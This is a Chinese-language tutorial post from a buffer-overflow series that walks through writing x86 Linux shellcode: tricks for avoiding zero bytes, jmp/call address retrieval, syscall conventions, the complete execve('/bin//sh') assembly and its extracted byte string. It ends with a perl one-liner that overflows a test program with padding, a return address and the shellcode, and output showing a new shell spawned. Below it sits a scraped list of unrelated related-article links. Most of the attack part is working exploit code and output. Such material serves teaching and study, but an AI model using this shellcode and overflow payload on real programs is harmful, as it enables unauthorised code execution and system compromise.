好,我们正式开始一步步来编写shellcode,结合之前的示例程序,写个打开一个新shell的shellcode。

在写之前,先介绍编写shellcode的一些技巧,特别有用。

shellcode编写技巧

如何避免零字节

shellcode通常是由于strcpy/sprintf等字符串函数造成溢出,因此通过来注入的shellcode不能出现零字节。但实际运行的代码是需要0的,那如何处理呢?
使用xor指令对寄存器进行清零或者cld,如:
xor eax, eax
xor ebx, ebx
xor ecx, ecx
cld     ; 该指令对edx进行清零
如果需要将eax的值赋为0x5,不能直接写成mov eax, 0x05,因为它会生成机器码mov eax, 0x00000005,会有0填充。可以采用下面这个技巧:
xor eax, eax
mov al, 0x05
X86架上对通用寄存器都提供对应的16位和8寄存,上述例子就是通过它来避免零出现。

如何知道绝对地址

尽管在前面的攻击例子中,shellcode存放的地址是已知道的,但不同的攻击中,它的地址是会变化的,那么我们如何编写shellcode不依赖了这个变化的地址而通用化呢? 那么需要借用一些相对跳转指令来获取绝对地址
call指令是相对转跳,但会在栈上压上绝对地址,然后再弹出就可以获取绝对地址,如:
jmp short get_string
code:
       pop eax            ; 这里弹出的是call指令压栈的下条指令的地址,即"hello world"字符串的地址
get_string:
      call code
data:
db 'hello world', 0x0a
push指令将数据压到栈上,然后获取esp的值,就是刚压栈数据的绝对地址,如:
push 0x4b435546   ; 0x46, 0x55, 0x43, 0x4b 分别 FUCK字符的 ascii码
mov eax, esp            ; 将"FUCK"字符串首地址赋给eax,后续可用于系统调用传参

Linux系统调用约定

Linux系统调用是以int 0x80指令来陷入内核态的,系统调用号通过eax来传递,参数分别是ebx, ecx, edx, edi, esi来传递。

编写shellcode

在Linux下编写shellcode,可以直接使用gcc对汇编.S文件进行编译链接,生成标准的可执行ELF文件,同时也能直接进行测试,但有一点不方便是的提取机器码很不方便。
为了方便用提取机器码,使用nasm编译器生成bin格文件,没有任何其它格式数据,方便直接提取。
我们要编写的本地shellcode,对应C 语言逻辑如下
char *argv[2];
argv[0] = "/bin/sh";
argv[1] = NULL;
execve("/bin/sh", argv, NULL);
翻译成汇编语言过程如下:
将"/bin/sh"字符串压到栈上,包含字符串结串符'\0'
xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622f
将字符串/bin//sh压入栈内,同时通过push edx来保证字符串后面的数所据是0,也即字符串结束符。 请注意,栈是从高地址向低地址生长的,所以要从字符串尾巴压起。
mov ebx, esp
此时栈底就是字符中址的开始地址,该指令将字符串地址赋给ebx(系统调用的第一个参数)
将下来是将argv[2]数组的内容放到栈上。
push edx    ; 将argv[1](值为  NULL) 放到栈上
push ebx    ; 将argv[0]( "/bin//sh")放到栈上
此时esp指向的空间,刚才对应argv[2]数组结构的开始地址
由于argv是系统调用第二参数,需要将它赋给ecx
mov ecx, esp
xor eax, eax,
mov al, 0xb
到这时, eax 为 11(系统调用号),ebx为"/bin//sh"字符号(第一参数),ecx为argv数组(第二参数),edx为NULL(第三参数),那就可以直接使用int 0x80进行系统调用了。
int 0x80
将上述指令拼在一起就是如下的汇编代码:
BITS 32xor edx, edx
push edx
push 0x68732f2f
push 0x6e69622fmov ebx, esppush edx
push ebxmov ecx, espxor eax, eax
mov al, 0xbint 0x80
编译生成机器码
nasm -o shell2 shell2.s
生成的shell2文件为bin数据,全是机器码,没有任何格式数据,使用Linux命令转换成bash或者perl可输入的shellcode.
$ od -t x1 shell2 | sed -e 's/[0-7]*//' | sed -e 's/ /\\x/g'
\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52
\x53\x89\xe1\x31\xc0\xb0\x0b\xcd
然后使用之前的stack1程序进行测试:
$ echo $$
2503
$ perl -e 'printf "A"x48 . "\x10\xd7\xff\xff" . "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"' > bad.txt;./stack1
data: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA▒▒▒1▒Rh//shh/bin▒▒RS▒▒1▒
                                                                              ̀▒▒▒
$ echo $$
4398
说明:echo $$命令输出当前shell(即bash或者sh)的pid
前后两次不一样,那就说明 shellcode执行后,打开了一个新shell。 也即shellcode运行成功,测试通过。

小结

本文介绍使用汇编语言编写shellcode的技巧,如零数值,绝对地址以及Linux系统调用约定。最后成功编写一个本地shellcode。
============= 回顾一下本系列文章 ==============
  • 缓冲区溢出攻击实践
  • 缓冲区溢出攻击原理分析
  • 初识shellcode
  • 如何编写本地shellcode
  • 编写shellcode测试工具
  • 使用ret2reg攻击绕过地址混淆
  • 使用ret2libc攻击方法绕过数据执行保护

如何编写本地shellcode相关推荐

  1. vue-cli3.x中使用axios发送请求,配合webpack中的devServer编写本地mock数据接口(get/post/put/delete)...

    vue-cli3.x中使用axios发送请求,配合webpack中的devServer编写本地mock数据接口(get/post/put/delete) 手把手式笔记 Axios配置 安装 axios ...

  2. 初学python-练习_4使用python编写本地登录程序(带注册)

    源代码: #!/usr/bin/python #-*- coding:UTF-8 -*- #set chinese code #设置相关值 NAME_MAX = 8; #名称长度限制 AUTOGRAP ...

  3. 初识shellcode

    缓冲区溢出的攻击思路已经很清晰了:首次是找到对准EIP的位置,然后覆盖 EIP跳到注入的shellcode 里执行. 前面例子只是简单展示了shellcode长什么样子,事实上shellcode是攻击 ...

  4. 什么是 shellcode

    缓冲区溢出的攻击思路已经很清晰了:首次是找到对准EIP的位置,然后覆盖 EIP跳到注入的shellcode 里执行. 前面例子只是简单展示了shellcode长什么样子,事实上shellcode是攻击 ...

  5. 缓冲区溢出攻击原理分析

    <缓冲区溢出攻击实践>以实践者角度介绍了初级缓冲区溢出攻击方法,本文从原理上对该方法做原理性介绍. 函数帧结构 现在高级语言C(或者C++),在函数开头的几指令要建立好函数帧结构,而函数返 ...

  6. 溢出的原理及 shellcode 编写

    本讲的预备知识: 首先你应该了解intel汇编语言,熟悉寄存器的组成和功能.你必须有堆栈和存储分配方面 的基础知识,有关这方面的计算机书籍很多,我将只是简单阐述原理,着重在应用.其次, 你应该了解li ...

  7. 编写优美的SHELLCODE

    编写"优美"的SHELLCODE 作者:watercloud   主页:http://www.nsfocus.com 日期:2002-1-4     SHELLCODE的活力在于其 ...

  8. (38)编写 ShellCode

    补充:编写shellcode时visualstudio的典型设置 编写这篇博客的目的: 中级上项目 MessageBox 监视器需要编写 shellcode,三期没有讲,于是补充学习了这部分知识. 一 ...

  9. WINDOWS的SHELLCODE编写高级技巧

    WINDOWS的SHELLCODE编写高级技巧 unix等系统因为有用户概念,所以往往溢出是使用先得到普通帐号,然后登陆后用溢出 再加载一个SHELL的办法得到ROOT权限,其系统调用又方便,所以SH ...

最新文章

  1. 别再写满屏的try-catch了,真丑,全局异常处理不会吗?
  2. OpenVINO + OpenCV实现车辆检测与道路分割
  3. linux 位置参数数组,JavaScript数组详解
  4. python需要php吗-学python需要学linux吗
  5. dubbo 服务压测_全链路压测资料汇总——业内大厂解决方案
  6. oracle数据库元数据SQL查询
  7. Servlet的学习笔记
  8. extjs2.0 ie8 下拉树_ExtJs下拉树的实现
  9. IOS中的数据存储 简单总结
  10. Ubuntu18.04 melodic 安装与下载ROS
  11. 《自然》:这家中国AI公司的计划,超越了所有对手
  12. ASP.NET三层架构的优点和缺点
  13. Python游戏开发入门1 Pygame最小开发框架
  14. 小米电视机如何重新匹配遥控器
  15. Datawhale组队学习周报(第044周)
  16. Win10 更改不了注册表,重启之后恢复原样
  17. 使用python将图片改为灰度图或黑白图
  18. OpenGL使用FBO与PBO上行纹理 (YUYV)
  19. python3 中_pickle (cPickle) 序列化 (Serialization)
  20. RaSa2.5.x利用Fallback处理超出范围的消息

热门文章

  1. 【TOOLS】python3利用SMTP进行邮件Email自主发送
  2. 对数据库的密码加密:md5和bcryptjs
  3. 数的三次方根(二分查找:浮点数)
  4. VSFTPD移植及使用
  5. 2021年数学建模国赛C题问题二详细思路和代码
  6. 科学史上著名公案——牛顿-莱布尼茨之争
  7. 完全清理office 2007
  8. 获得Android设备的唯一序列号
  9. 华为推送新利器,完美契合用户体验
  10. 设计模式:Mogwai或Gremlins?